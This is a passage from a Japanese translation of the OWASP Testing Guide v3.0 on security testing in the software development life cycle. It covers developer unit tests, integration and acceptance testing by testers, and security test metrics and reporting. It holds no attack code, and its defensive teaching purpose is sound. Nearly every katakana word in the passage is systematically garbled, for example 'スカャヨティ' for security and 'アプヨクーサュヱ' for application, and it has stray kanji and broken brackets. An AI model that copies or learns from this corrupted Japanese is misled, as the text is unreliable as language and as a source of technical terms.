業 務 の 流 れを 管 理 するツーラによっても 強 制 することができます。 例 えば、 典 型 的 な 不 具 合 管 理 の 業 務 の 流 れによって、<br />

機 能 的 なバギが 管 理 されているものと 仮 定 すると、 開 発 者 によって 修 正 されたスカャヨティバギについても、 不 具 合 管 理 また<br />

は 変 更 管 理 サシテマによって 報 告 することができます。アプヨクーサュヱ 全 体 の 責 任 者 は、ツーラを 用 いて、 開 発 者 が 報 告<br />

したテシト 結 果 を 閲 覧 することができ、アプヨクーサュヱ 全 体 に 対 するケード 変 更 の 中 に 組 み 込 む 許 可 を 与 えます。<br />

テシト 実 施 者 のスカャヨティテシ<br />

の<br />

スカャヨティテシトの 業 務 の 流 れ<br />

ケヱホーネヱトとケードの 変 更 は、 開 発 者 によってテシトされます。アプヨクーサュヱ 全 体 に 組 み 込 まれた 後 に、セフトウェア 開<br />

発 プルスシの 業 務 の 流 れの 中 で、 最 もありそうな 次 のシテップは、アプヨクーサュヱ 全 体 のテシトを 実 施 することです。このリ<br />

プラのテシトは、 通 常 、 統 合 テシト、または、サシテマリプラテシトと 呼 ばれます。スカャヨティテシトがこのようなテシト 活 動 の<br />

一 部邪 に 含 まれるときは、アプヨクーサュヱ 全 体 のスカャヨティ 機 能 と、アプヨクーサュヱリプラの 脆 弱 性 への 曝 露 の 双 方 につ<br />

いて、 検 証 されます。アプヨクーサュヱに 対 するスカャヨティテシトは、セーシケード 解 析 のようなベワロイトペッキシ・テシトと、 侵<br />

入 テシトのような、ブョッキペッキシテシトの 双 方 を 含 みます。ギリーペッキシテシトは、ブョッキペッキシテシトに 類 似 しています。<br />

ギリーペッキシテシトでは、アプヨクーサュヱのスッサュヱ 管 理 について、 部邪 分 的 な 知 識 を 持 っていると 想 定 することができ、<br />

その 知 識 は、ルギアウトとソイマアウト 機 能 が 適遚 切 に 安 全 であるかどうかを 理 解 するときに 役 立 ちます。<br />

スカャヨティテシトの 対 象 は、 潜 在 的 に 攻 撃 されるおそれのある 人 工 物片 としての 完媍 全 なサシテマであって、 実 行 可 能 プルギョ<br />

マとセーシケード 全 体 の 双 方 を 含 んでいます。このフェージにおける、スカャヨティテシトの1つの 特牐 色 として、スカャヨティテ<br />

シト 実 施 者 が、 脆 弱 性 が 攻 略 可 能 であって、アプヨクーサュヱが 本 当 のヨシキに 暴 露 されているのかどうかを 判 断 する 点 にあ<br />

ります。これの 脆 弱 性 には、 広 く 知 られたウェブアプヨクーサュヱの 脆 弱 性 や、 脅 威姕 ムデラ、セーシケード 解 析 、および、 安 全<br />

なケードリビャーなど、SDLC の 他 の 活 動 で 特 定 された、スカャヨティの 問 題 点 も 含 んでいます。<br />

通 常 、アプヨクーサュヱが 統 合 サシテマテシトの 段 階 にあるときは、セフトウェア 開 発 者 というよりもむしろ、テシト 技 術 者 がスカ<br />

ャヨティテシトを 行 ないます。テシト 技 術 者 は、ウェブアプヨクーサュヱの 脆 弱 性 、ブョッキペッキシとベワロイトペッキシのスカャヨ<br />

ティテシト 技 法 などのスカャヨティ 知 識 を 持 っており、このフェージのスカャヨティ 要 求 事 項 の 妥妞 当 性 検 証 の 責 任 を 持 ってい<br />

ます。このようなスカャヨティテシトを 行 なうためには、スカャヨティテシト 事 例 が、スカャヨティテシトのオイドョイヱと 手 順 書 に<br />

よって 文 書 化 されていることが 前 提 条 件 です。<br />

統 合 化 されたサシテマ 環 境 でアプヨクーサュヱのスカャヨティの 妥妞 当 性 を 検 証 するテシト 技 術 者 が、 運遀 用 環 境 におけるテシト<br />

( 例 えば、ヤーゴ 受 入 れテシト'のために、アプヨクーサュヱをヨヨーシするでしょう。SDLC のこの 段 階 (すなわわち、 妥妞 当 性 検 証 '<br />

で、アプヨクーサュヱの 機 能 的 なテシトは、 通 常 、 品 質 管 理 テシト 実 施 者 の 責 任 です。 一 方 、ベワロイトハットハッォー( 訳 注 8 善<br />

37


良 で 倫 理 的 なハッォーであり、サシテマを 守 ることを 目 的 としている'や、スカャヨティケヱコラソヱトは、 通 常 、スカャヨティテ<br />

シトに 関 する 責 任 があります。( 監 査 目 的 として' 第 三 者 監 査 が 必 要 とされない 場 合 は、このようなスカャヨティテシトを 実 施 す<br />

るために、 組 織 内 の 専 門 的 な 倫 理 的 なハッカヱギターマに 頼 る 組 織 もあります。<br />

こうしたテシトは、アプヨクーサュヱが 運遀 用 にヨヨーシされる 前 に、 脆 弱 性 を 修 正 することができる 最 後 の 機 会 ですから、テシト<br />

ターマは、 問 題 点 があれば、 推 奨 事 項 ( 例 えば、 推 奨 事 項 にケード、 設 計 、あるいは、 構 成 の 変 更 を 含 むことがあります'と<br />

して 明 確 に 記 述 することが 重 要 です。このリプラでは、スカャヨティ 監 査 人 と 情 報 スカャヨティ 責 任 者 が 報 告 されたスカャヨ<br />

ティ 上 の 問 題 点 を 議 論 し、 情 報 ヨシキ 管 理 手 順 にしたがって、 潜 在 的 ヨシキを 分 析 します。このような 手 順 においては、 開 発<br />

ターマに、 該 当 するヨシキが 認 識 されて、 受 容 されている 場 合 を 除 いて、アプヨクーサュヱが 実 装 される 前 に、すべての 高 ヨ<br />

シキの 脆 弱 性 を 修 正 するように 要 求 されるでしょう。<br />

開 発 者 によるスキャリテァテステ<br />

ケーデァンヱギフェーズのスキャリテァテステ: 単 体 テステ<br />

ケーディヱギフェージのスカャヨティテシト8 開 発 者 の 視 点 から 見 ると、スカャヨティテシトの 主 要 な 目 的 は、 開 発 したケードが<br />

安 全 なケーディヱギ 標 準 の 要 求 事 項 に 従 って 開 発 されているかどうかを 検 証 することにあります。アプヨクーサュヱ 全 体 に 統<br />

合 される 前 に、 機 能 、 方 法 、キョシ、API、および、ョイブョヨなどで、 開 発 者 がケーディヱギしたものは、 機 能 的 な 妥妞 当 性 を 検<br />

証 する 必 要 があります。<br />

開 発 者 が 従 わわなければならない、スカャヨティの 要 求 事 項 は、 安 全 なケーディヱギ 標 準 で 文 書 化 され、 静 的 および 動 的 な 分<br />

析 によって、 妥妞 当 性 が 検 証 されなければなりません。 安 全 なケードリビャーの 後 に 続 くテシト 活 動 としては、 単 体 テシトにお<br />

いて、 安 全 なケードリビャーで 要 求 されたケード 変 更 が 適遚 切 に 実 装 されていることを 検 証 することができます。セーシケードリ<br />

ビャー、および、セーシケード 解 析 ツーラを 利 用 した 安 全 なケード 解 析 によって、 開 発 者 は、 開 発 したセーシケード 中 のスカ<br />

ャヨティの 問 題 点 を 特牐 定 することができます。 単 体 テシトや 動 的 解 析 ( 例 えば、デバッガヱギ'を 用 いることによって、 開 発 者<br />

は、ケヱホーネヱトのスカャヨティ 機 能 性 を 検 証 することができます。また、 脅 威姕 ムデラやセーシケード 解 析 を 通 じて、 以 前 に<br />

特牐 定 されたスカャヨティ 上 のヨシキを 緩 和 するために 組 み 込 んだ 対 策 を 照 合 することもできます。<br />

開 発 者 が 実 施 すべきであるのは、 既 存 の 単 体 テシトの 枠 組 みの 一 部邪 として、 一 般 的 なスカャヨティのテシトスットとして、スカ<br />

ャヨティテシト 事 例 を 構 築 することです。 一 般 的 なスカャヨティのテシトスットは、 以 前 に 定 義 された 使 用 事 例 や、 誤 使 用 事 例<br />

から 導 き 出 されて、スカャヨティテシト 機 能 、 方 法 とキョシなどで 構 成 されます。 一 般 的 なスカャヨティテシトスットは、 次 のよう<br />

なスカャヨティ 対 策 のための 肯 定 的 な、および、 否 定 的 な 要 求 事 項 の 双 方 の 妥妞 当 性 を 検 証 するために、スカャヨティテシト<br />

事 例 を 含 むかもしれません。<br />

• 認 証 とアキスシ 制 御<br />

• 入 力 検 証 とケード 化<br />

• 暗 号 化<br />

• ヤーゴ 管 理 とスッサュヱ 管 理<br />

• ウョーと 例 外 の 取 扱 い<br />

• 監 査 とルギ 取 得<br />

38


<strong>OWASP</strong> Testing Guide v3.0<br />

セーシケード 解 析 ツーラを 使 用 できる 開 発 者 は、IDE( 統 合 開 発 環 境 '、 安 全 なケーディヱギ 標 準 、および、スカャヨティ 単 体<br />

テシトの 枠 組 みの 中 に 統 合 して、 開 発 中 のセフトウェアケヱホーネヱトのスカャヨティを 評 価 し、 検 証 することができます。スカ<br />

ャヨティテシト 事 例 は、セーシケードに 根 本 的 な 原 因 がある、スカャヨティ 上 の 潜 在 的 な 問 題 点 を 特牐 定 するために 実 行 するこ<br />

とができます。ケヱホーネヱトに 入 るときと、 出 るときの、パョミーソの 入 力 および 出 力 の 妥妞 当 性 検 証 の 他 に、これらの 問 題 点<br />

には、ケヱホーネヱトによって 実 施 される 認 証 と 認 可 のタェッキ、ケヱホーネヱト 中 のデーソの 保 護 、 安 全 な 例 外 とウョー 処<br />

理 、および、 安 全 な 監 査 とルギ 取 得 があります。Junit、Nunit、CUnit のような 単 体 テシトの 枠 組 みは、スカャヨティテシト 要 求<br />

事 項 を 検 証 するためにも 利 用 することができます。スカャヨティの 機 能 テシトの 事 例 では、 単 体 リプラテシトで、 機 能 、ミセッ<br />

ド、あるいは、キョシのような、セフトウェアケヱホーネヱトのリプラで、スカャヨティ 対 策 の 機 能 をテシトすることができます。 例<br />

えば、テシト 事 例 が、ケヱホーネヱトの 期 待 される 機 能 を 明 確 に 記 述 することによって、 入 力 と 出 力 の 妥妞 当 性 検 証 ( 例 えば、<br />

可 変 長 の 無 害 化 処 理 'と 変 数 の 境 界 タェッキを 検 証 することができます。<br />

使 用 事 例 と 誤 使 用 事 例 によって 特牐 定 された 脅 威姕 サナヨエは、セフトウェアケヱホーネヱトのテシト 手 順 を 文 書 化 するために 使<br />

用 可 能 です。 例 えば、 認 証 ケヱホーネヱトの 事 例 では、スカャヨティ 単 体 テシトが、アォウヱトルッキアウトの 設 定 の 機 能 を 明<br />

確 に 記 述 できます。また、アォウヱトルッキアウトを 回 避遪 する( 例 えば、アォウヱトルッキアウトのォウヱソーをボイナシの 数 にス<br />

ットする'ことによって、ヤーゴ 入 力 パョミーソが 不 正 使 用 されないという 事 実 も 記 述 できます。ケヱホーネヱトリプラでは、ス<br />

カャヨティ 単 体 テシトが、ウョーと 例 外 の 取 り 扱 いのような、 否 定 的 な 主 張 と、 肯 定 的 な 主 張 を 検 証 することができます。 開 放<br />

されなかったヨセーシによるコービシ 妨妠 害 の 可 能 性 ( 例 えば、 接 続 ハヱドラが 最 終 の 文 書 ブルッキまでに 閉 じなかった 場 合 '<br />

のように、 不 適遚 切 な 状牮 態 のままサシテマから 離 脱 しないコービシの 例 外 発 生 や、 潜 在 的 な 特牐 権 昇 格 ( 例 えば、 例 外 が 送 られ、<br />

機 能 を 終 了 する 前 で、 以 前 のリプラにヨスットされないうちに、 高 い 特牐 権 が 獲狚 得 できる'の 例 外 発 生 などがあります。 安 全 な<br />

ウョー 処 理 は、 情 報 過遃 多 のウョーミッスーザやシソッキトリーシによる 情 報 の 誤 公 開 の 可 能 性 などを 検 証 することができます。<br />

単 体 リプラのスカャヨティテシト 事 例 は、スカャヨティ 技 術 者 によっても 開 発 することができます。スカャヨティ 技 術 者 は、セフ<br />

トウェアスカャヨティの 内 容 についての 専 門 家 であって、セーシケード 中 のスカャヨティ 問 題 点 が 修 正 されたことを 検 証 し、 統<br />

合 化 された 全 体 サシテマに 組 み 込 めることを 確 認 します。 典 型 的 には、アプヨクーサュヱ 全 体 の 管 理 者 は、コードパーティ<br />

製 のョイブョヨや、 実 行 形 式 のファイラについても、アプヨクーサュヱ 全 体 に 統 合 される 前 に、 潜 在 的 脆 弱 性 を 評 価 している<br />

ことを 確 認 します。<br />

安 全 ではないケーディヱギに 根 本 的 な 原 因 がある、 広 く 知 られた 脆 弱 性 のための 脅 威姕 サナヨエは、 開 発 者 のスカャヨティテ<br />

シトオイドに 文 書 化 することができます。セーシケード 解 析 で 特牐 定 されたケーディヱギの 不 具 合 の 修 正 を 組 み 込 むときに、 例<br />

えば、スカャヨティテシト 事 例 によって、ケード 変 更 の 組 み 込 みが 安 全 なケーディヱギ 標 準 で 文 書 化 された 安 全 なケーディヱ<br />

ギ 要 求 事 項 に 合 致 しているかどうかを 検 証 することができます。<br />

セーシケード 解 析 と 単 体 テシトは、ケーディヱギの 不 具 合 によって 以 前 に 暴 露 されていた 脆 弱 性 が、ケード 変 更 によって 緩 和<br />

されているかどうかを 検 証 することができます。 自 動 化 された 安 全 なケード 分 析 の 結 果 は、バーザュヱ 管 理 のための 自 動 的<br />

なタェッキイヱグートとして 使 用 することができます。セフトウェアプルギョマは、 深 刻 度 が 高 いか、 中 程 度 のケーディヱギ 上 の<br />

問 題 点 を 含 んだまま、アプヨクーサュヱ 全 体 の 中 に 組 み 込 むことはできません。<br />

機 能 テステ 実 施 者 のスキャリテァテステ<br />

統 合 と 検 証 フェーズのスキャリテァテス<br />

スキャリテァテステ: 統 合 システマテステと 運 用 テステ<br />

統 合 サシテマテシトの 主 要 目 的 は、「 縦 深 防 御 」という 概 念 を 検 証 することにあります。つまり、 実 装 されたスカャヨティ 対 策 が<br />

異 なった 階 層 でスカャヨティを 提 供 しているかどうかです。 例 えば、アプヨクーサュヱに 統 合 されたケヱホーネヱトを 呼 び 出 す<br />

ときに、 入 力 妥妞 当 性 検 証 が 欠 落 していれば、 統 合 テシトでテシトすべき 要 因 となるでしょう。<br />

39


統 合 サシテマテシトの 環 境 は、 悪 意 がある、 外 部邪 から、あるいは、 内 部邪 からのヤーゴによってアプヨクーサュヱが 潜 在 的 に 実<br />

行 される 本 当 の 攻 撃 サナヨエを、テシト 実 施 者 が 模 擬 することができる 最 初 の 環 境 です。このリプラのスカャヨティテシトは<br />

脆 弱 性 が 本 物片 であって、 攻 撃 者 から 攻 略 可 能 かどうかを 検 証 することができます。 例 えば、セーシケードで 発 見 された 潜 在<br />

的 脆 弱 性 は、 潜 在 的 に 悪 意 のあるヤーゴに 暴 露 され、 潜 在 的 な 影 響 ( 例 えば、 機 密 情 報 へのアキスシ'があれば、 高 ヨシキ<br />

に 分 類 されます。 本 物片 の 攻 撃 サナヨエは、 手 動 のテシト 技 法 と、 侵 入 テシトツーラでテシトすることができます。このソイプの<br />

スカャヨティテシトは、 倫 理 的 ハッカヱギテシトとも 呼 ばれます。スカャヨティテシトの 視 点 から 見 ると、ヨシキに 基 づいたテシト<br />

であって、テシトの 対 象 は 運遀 用 環 境 にあるアプヨクーサュヱです。 対 象 は、 運遀 用 環 境 に 実 装 されたアプヨクーサュヱと 同 じバ<br />

ーザュヱでなければなりません。<br />

統 合 と 検 証 段 階 でのスカャヨティの 実 行 は、このような 脆 弱 性 の 露 出 を 検 証 することに 加 えて、ケヱホーネヱトの 統 合 に 起 因<br />

する 脆 弱 性 を 特牐 定 することが 重 要 です。アプヨクーサュヱ・スカャヨティテシトを 実 施 するためには、 特牐 別 なシカラスットが 必<br />

要 です。シカラスットには、セフトウェアとスカャヨティ 双 方 の 知 識 を 含 みますが、これは、 通 常 、スカャヨティ 技 術 者 が 保 有 し<br />

ていないものです。 組 織 が、セフトウェア 開 発 者 に 倫 理 ハッカヱギ 技 術 や、スカャヨティ 評 価 手 順 、ツーラのスカャヨティ 研 修<br />

を 実 施 するよう 要 求 することはよくあります。 現 実 的 なサナヨエは、 組 織 内 で、このような 人 材 を 育 成 し、 開 発 者 のスカャヨティ<br />

テシト 知 識 を 考 慮 に 入 れて、スカャヨティテシトオイドや 手 順 書 を 文 書 化 することでしょう。 例 えば、いわわゆる「スカャヨティテシ<br />

ト 事 例 のタート(だまし'ヨシト、または、タェッキヨシト」によって、 単 純 なテシト 事 例 と 攻 撃 経 路 がテシト 実 施 者 に 提 供 される。<br />

テシト 実 施 者 はヨシトを 使 用 して、 広 く 知 られた 脆 弱 性 が 暴 露 されているかどうかを 検 証 する。ここでいう 脆 弱 性 には、シプー<br />

フィヱギ、 情 報 誤 公 開 、バッファエーバフルー、フェーボットシトヨヱギ、SQL イヱザェキサュヱ、キルシコイトシキヨプティヱギ、<br />

XML、SOAP、 正 規 化 (canonicalization) 問 題 、コービシ 妨妠 害 、ボネーザドケード、ActiveX ケヱトルーラ( 例 えば、.net'などがあ<br />

ります。このような 最 初 の 一 連連 のテシトは、セフトウェアスカャヨティの 基 本 的 な 知 識 があれば、 手 作 業 で 実 施 できます。スカ<br />

ャヨティテシトの 最 初 の 目 的 は、 最 小 のスカャヨティ 要 求 事 項 のスットに 対 する 検 証 になるでしょう。このスカャヨティテシト 事<br />

例 では、 手 作 業 でアプヨクーサュヱを 強 制 的 にウョーと 例 外 処 理 の 状牮 態 にさせ、アプヨクーサュヱの 挙 動 から 知 識 を 収 集 す<br />

ることもあります。 例 えば、SQL イヱザェキサュヱの 脆 弱 性 は、ヤーゴ 入 力 を 通 じて 手 動 で 攻 撃 プキトラを 注 入 し、SQL の 例 外<br />

がヤーゴに 返 信 されるかどうかを 確 認 することによってテシトできます。SQL の 例 外 ウョーの 証 拠 は、 脆 弱 性 が 攻 略 できるこ<br />

とを 示 しているかもしれません。より 詳 細 なスカャヨティテシトは、テシト 実 施 者 に 対 して、 専 門 的 なテシト 技 法 やツーラの 知<br />

識 を 要 求 するかもしれません。セーシケード 解 析 と 侵 入 テシトの 他 には、 例 えば、セーシケードとバイナヨ・フェーラト・イヱザェ<br />

キサュヱ、フェーラト・プルパオヱゾ 分 析 、ケードォバリッザ、ファジテシト、ヨバーシ・ウヱザニアヨヱギなどがあります。スカャヨ<br />

ティテシトオイドは 手 順 を 提 供 するとともに、このような 詳 細 なスカャヨティ 評 価 を 行 うスカャヨティテシト 実 施 者 が 使 うことので<br />

きるツーラを 推 奨 するべきでしょう。<br />

統 合 サシテマテシトの 次 のリプラのスカャヨティテシトは、ヤーゴ 受 入 れ 環 境 でスカャヨティテシトを 行 なうことになるでしょう。<br />

運遀 用 環 境 で、スカャヨティテシトを 行 なうことには、 独犉 特牐 の 利 点 があります。ヤーゴ 受 入 れテシト 環 境 (UAT'は、デーソ( 例 え<br />

ば、テシトデーソが 本 当 のデーソの 代 わわりに 使 わわれます'を 例 外 として、ヨヨーシ 時 の 状牮 態 に 最 も 近 いのです。UAT における<br />

スカャヨティテシトの 特牐 徴 は、スカャヨティ 構 成 の 問 題 点 のテシトです。ある 場 合 には、これらの 脆 弱 性 は 高 ヨシキになります。<br />

例 えば、ウェブアプヨクーサュヱのベシトとして 機 能 するコーバが 最 小 特牐 権 や、 正 当 な SSL 証 明 書 、 安 全 な 構 成 として 構 成 さ<br />

れておらず、 基 本 的 なコービシが 無 効 になっており、ウェブコイトのラートディリキトヨからテシトや 管 理 用 のウェブヘーザが<br />

消 去 されていないような 場 合 です。<br />

スキャリテァテステデータの 分 析 と 報 告<br />

スキャリテァテステの 計 測 目 標 と 計 測 方 法<br />

スカャヨティの 計 測 目 標 と 計 測 方 法 を 定 義 することは、ヨシキ 分 析 やボネザミヱトプルスシのために、スカャヨティテシトデーソ<br />

を 使 用 する 際 の 前 提 条 件 です。 例 えば、スカャヨティテシトで 発 見 された 脆 弱 性 の 合 計 のような 測 定 は、アプヨクーサュヱの<br />

スカャヨティに 対 する 姿姓 勢 を 数 値 化 するかもしれません。 測 定 することによって、セフトウェアスカャヨティテシトのためのスカ<br />

40


<strong>OWASP</strong> Testing Guide v3.0<br />

ャヨティ 目 的 を 特牐 定 するのに 役 立 ちます8 例 えば、アプヨクーサュヱを 運遀 用 段 階 に 移 行 する 前 に、 脆 弱 性 の 数 を 受 入 れ 可 能<br />

な( 最 小 ' 数 に 減 少 させることが 挙 げられます。<br />

もう1つの 管 理 しやすい 目 標 が、アプヨクーサュヱのスカャヨティプルスシの 改 善 状牮 況 を 評 価 するために、 基 準 に 対 して、アプ<br />

ヨクーサュヱのスカャヨティに 対 する 姿姓 勢 を 比 較 することです。 例 えば、スカャヨティ 測 定 基 準 は、 侵 入 テシトだけでテシトされ<br />

たアプヨクーサュヱから 構 成 されているかもしれません。ケーディヱギ 中 にスカャヨティのテシトを 受 けたアプヨクーサュヱから<br />

得 られたスカャヨティデーソは、 基 準 よりも 改 善 ( 例 えば、より 少 ない 脆 弱 性 の 数 'を 示 すはずです。<br />

伝 統 的 なセフトウェアテシトでは、アプヨクーサュヱに 発 見 されるバギのようなセフトウェア 不 具 合 の 数 は、セフトウェア 品 質 の<br />

基 準 を 提 供 することができました。 同 様 に、スカャヨティテシトはセフトウェアスカャヨティの 基 準 を 提 供 することができます。 不<br />

具 合 管 理 と 報 告 の 視 点 からは、セフトウェア 品 質 とスカャヨティテシトは、 根 本 的 な 原 因 と 不 具 合 改 善 の 努 力 では、 類 似 の 分<br />

類 を 使 うことができます。 根 本 原 因 の 視 点 からは、スカャヨティ 不 具 合 は、 設 計 の 間 遊 い( 例 えば、スカャヨティ 瑕 疵 (かし''、<br />

または、ケーディヱギのバギ( 例 えば、スカャヨティバギ'に 起 因 します。 不 具 合 を 直 すために 必 要 な 努 力 の 視 点 からは、ス<br />

カャヨティと 品 質 双 方 の 不 具 合 は、 修 正 を 組 み 込 むために 必 要 な 開 発 者 の 時 間 と、 修 正 に 必 要 なツーラやヨセーシ、そして<br />

最 後 に、 修 正 を 組 み 込 むためのケシトで 計 測 することができます。<br />

品 質 デーソと 比 較 したときの、スカャヨティテシトデーソの 特牐 色 は、ヨシキを 決 定 するために、 脅 威姕 や、 脆 弱 性 の 暴 露 、 脆 弱 性<br />

によって 提 起 される 潜 在 的 な 影 響 という 用 語 によって 分 類 されることです。スカャヨティのテシトアプヨクーサュヱは、アプヨク<br />

ーサュヱ 対 策 が 許 容 リプラを 満 たすことを 確 認 するために 技 術 的 なヨシキを 管 理 することから 構 成 されています。この 理 由 で、<br />

スカャヨティテシトデーソが SDLC の 間 に 重 要 なタェッキホイヱトにおいては、スカャヨティ 上 のヨシキ 戦 略 を 支 援 する 必 要 があ<br />

ります。 例 えば、セーシケード 解 析 でセーシケードに 発 見 された 脆 弱 性 が 最 初 のヨシキの 測 定 値 を 表 します。このような 脆 弱<br />

性 のヨシキの 測 定 ( 例 えば、 高 、 中 、 低 'は、 暴 露 率狨 と 発 生 可 能 性 の 要 因 を 決 定 することによって 計 算 できます。さらに、 侵 入<br />

テシトによって、 脆 弱 性 を 検 証 できます。スカャヨティテシトで 発 見 された 脆 弱 性 に 関 連連 するヨシキ 計 測 は、ヨシキを 受 容 する<br />

か、 低 減 するか、あるいは、 組 織 の 中 の 異 なったリプラ( 例 えば、 事 業 的 に、または、 技 術 的 に'に 移 転 するかというような、<br />

ヨシキ 管 理 上 の 決 定 を 行 うために、 事 業 の 経 営 者 を 支 援 するものです。<br />

アプヨクーサュヱのスカャヨティに 対 する 姿姓 勢 を 評 価 するとき、 開 発 しているアプヨクーサュヱの 規 模 のような、ある 特牐 定 の 要<br />

因 を 考 慮 に 入 れることが 重 要 です。アプヨクーサュヱの 規 模 が、テシトでアプヨクーサュヱに 発 見 される 問 題 点 の 数 と 関 係 が<br />

あることは、 統 計 的 に 証 明 されています。アプヨクーサュヱの 規 模 を 計 測 する 方 法 の1つは、ケードの 行 数 (LOC'です。 典 型<br />

的 には、セフトウェア 品 質 の 不 具 合 は、 新 規 または 変 更 された 行 の 1000 行 あたり、およそ5 個 から10 個 です[Y21]。1つのテ<br />

シトによって、 全 体 のおよそ 25%の 不 具 合 を 減 少 させられるので、 大 規 模 なアプヨクーサュヱが 小 規 模 なアプヨクーサュヱより<br />

も 頻 繁 にテシトされるのは 論 理 的 であると 言 えます。<br />

SDLC のいくつかのフェージでスカャヨティテシトが 実 施 されるとき、テシトデーソは、 試 験 に 使 用 されるとすぐに 脆 弱 性 を 検<br />

出 することにおいて、スカャヨティテシトの 性 能 を 証 明 しており、SDLC の 異 なったタェッキホイヱトにおいて 対 策 を 実 行 するこ<br />

とによって、 脆 弱 性 を 除 去 したことの 有 効 性 を 証 明 することもできます。この 種 の 測 定 は、「 抑 制 測 定 」と 定 義 され、 開 発 プル<br />

スシのそれぞれのフェージでスカャヨティを 維 持 するため、 各 フェージで 実 施 されたスカャヨティ 評 価 の 測 定 能 力 を 提 供 して<br />

います。これらの 抑 制 測 定 は、 脆 弱 性 の 修 正 ケシトを 低 減 するための 重 要 な 要 因 です。なぜなら、 脆 弱 性 が 発 見 されたとき<br />

よりも 遅逼 いフェージで 修 正 するよりも、 発 見 されたとき(SDLC の 同 じフェージで'に 脆 弱 性 に 対 処 することが 最 も 低 ケシトで 済<br />

むからです。<br />

スカャヨティテシト 計 測 方 法 が、 次 のように、 内 容 が 明 確 で、 時 間 を 含 む 目 標 とともに 用 いると、スカャヨティ 上 のヨシキ、ケシト、<br />

不 具 合 管 理 分 析 を 支 援 することができます。<br />

• 全 体 の 脆 弱 性 の 数 を30% 減 らします。<br />

41


• スカャヨティの 問 題 点 を 一 定 の 期 限 ( 例 えば、プーソヨヨーシの 前 'までに 修 正 することを 期 待 します<br />

スカャヨティテシトデーソは、 手 動 のケードリビャーで 検 出 された 脆 弱 性 の 数 のように 絶 対 数 値 のこともあれば、ケードリビャ<br />

ーと 侵 入 テシトで 検 出 された 脆 弱 性 の 比 率狨 のように、 相 対 数 値 のこともあります。スカャヨティプルスシの 品 質 についての 質<br />

問 に 答 えるために、 受 容 できるもの、 問 題 ないものの 基 準 (プーショイヱ'を 決 定 することが 重 要 です。<br />

スカャヨティテシトデーソは、スカャヨティ 規 制 と 情 報 スカャヨティ 標 準 の 順 守 、スカャヨティプルスシの 管 理 、スカャヨティの 根<br />

本 原 因 とプルスシ 改 善 の 特牐 定 、スカャヨティケシトと 利 益 の 分 析 のように、 特牐 定 の 目 的 を 支 援 することができます。<br />

スカャヨティテシトデーソが 報 告 されるときには、 分 析 を 支 援 するための 計 測 方 法 を 提 供 しなければなりません。 分 析 の 範 囲<br />

は、 開 発 しているセフトウェアのスカャヨティや、プルスシの 有 効 性 の 手 掛 かりを 見 つけるためのテシトデーソの 説 明 です。ス<br />

カャヨティテシトデーソによって 支 援 された 手 掛 かりのいくつかの 例 を 示 します8<br />

• ヨヨーシに 向 けて、 脆 弱 性 の 数 は 許 容 リプラに 減 少 していますか?=<br />

• このプルゾキトのスカャヨティ 品 質 は、 類 似 セフトウェアプルゾキトと 比 較 していかがですか?=<br />

• すべてのスカャヨティテシトの 要 求 事 項 は 満 たされていますか?=<br />

• スカャヨティ 問 題 点 の 主 要 な 根 本 原 因 は 何 ですか?=<br />

• スカャヨティバギと 比 較 して、スカャヨティ 瑕 疵 (かし'は、どのぐらい 多 いのですか?=<br />

• 脆 弱 性 を 発 見 するために、どのスカャヨティ 活 動 が 最 も 効 果 がありますか?=<br />

• スカャヨティ 不 具 合 と 脆 弱 性 の 修 正 について、どのターマが 最 も 生 産 性 が 高 いですか?=<br />

• 高 ヨシキの 脆 弱 性 は、 脆 弱 性 全 体 の 何 %ですか?=<br />

• スカャヨティ 脆 弱 性 を 検 出 するために、どのツーラが 最 も 効 果 がありますか?=<br />

• 脆 弱 性 を 発 見 するために、どのような 種 類 のスカャヨティテシトが 最 も 効 果 がありますか?=<br />

( 例 えば、ベワロイトペッキシテシト 対 ブョッキペッキシテシト'<br />

• 安 全 なケードリビャーで、いくつのスカャヨティ 問 題 点 が 発 見 されましたか?=<br />

• 安 全 な 設 計 リビャーで、いくつのスカャヨティ 問 題 点 が 発 見 されましたか?=<br />

テシトデーソを 使 って 正 しい 判 断 をするためには、テシトツーラと 同 様 に、テシトプルスシの 十 分 な 理 解 を 持 っていることが 重<br />

要 です。どのスカャヨティツーラを 使 用 するべきかを 決 めるために、ツーラ 分 類 学婲 を 採 用 すべきです。 広 く 知 られた 脆 弱 性<br />

の 中 で 異 なった 種 類 のものを 対 象 としているスカャヨティツーラを 高 く 評 価 するべきです。 問 題 点 としては、 未 知 のスカャヨ<br />

ティの 問 題 点 はテシトされないという 点 です8 該 当 するセフトウェアやアプヨクーサュヱに 何 も 発 見 されなかったとしても、セフト<br />

ウェアやアプヨクーサュヱに 何 も 問 題 点 がないとはいえません。ある 研 究 [Y22]によれば、 最 も 優 れたツーラでも、 脆 弱 性 全<br />

体 の23%しか 発 見 できないことが 示 されています。<br />

最 も 優 れた 自 動 化 ツーラでさえ、 経 験 豊 かなスカャヨティテシト 実 施 者 とは 勝 負 になりません8ただ、 自 動 化 されたツーラか<br />

らの 成 績 の 良 いテシト 結 果 に 過遃 度 に 頼 ることは、スカャヨティに 関 する 従 業 者 に 誤 った 安 心 感 を 与 えてしまうでしょう。 典 型<br />

的 には、スカャヨティテシト 実 施 者 がスカャヨティテシト 方 法 論 とテシトツーラの 経 験 が 豊 かであれば、スカャヨティテシトと 分<br />

42


<strong>OWASP</strong> Testing Guide v3.0<br />

析 の 結 果 はもっと 良 くなるでしょう。 同 様 に、スカャヨティテシトツーラに 対 して 投 資 を 決 定 している 管 理 者 についても、 熟 練<br />

した 人 材 を 雇 用 する 投 資 を 考 えることが 重 要 です。スカャヨティテシト 研 修 についても 同 様 です。<br />

報 告 の 要 求 事 項<br />

アプヨクーサュヱのスカャヨティに 対 する 姿姓 勢 は、 脆 弱 性 の 数 や、 脆 弱 性 のヨシキ 評 価 のような 効 果 の 面 からと、ケーディヱギ<br />

ウョーや、 基 本 設 計 の 瑕 疵 (かし'、 構 成 の 問 題 点 のような 原 因 (すなわわち、 根 源 'の 面 から 特牐 徴 づけることができます。<br />

脆 弱 性 は、 異 なった 基 準 によって 分 類 することができます。 基 準 としては、<strong>OWASP</strong> トップ10や WASC ウェブアプヨクーサュ<br />

ヱ・スカャヨティ 統 計 プルザェキトのような、 統 計 的 な 分 類 基 準 にすることもできます。あるいは WASF(ウェブアプヨクーサュヱ・<br />

スカャヨティのフリーマワローキ' 分 類 の 事 例 のように、 防 御 的 な 対 策 と 関 連連 付 けることもできます。<br />

スカャヨティテシトデーソを 報 告 するときには、 種 類 によって、それぞれの 脆 弱 性 の 分 類 を 示 すほかに、 次 の 情 報 を 含 めるの<br />

が 最 も 効 果 的 な 方 法 です8<br />

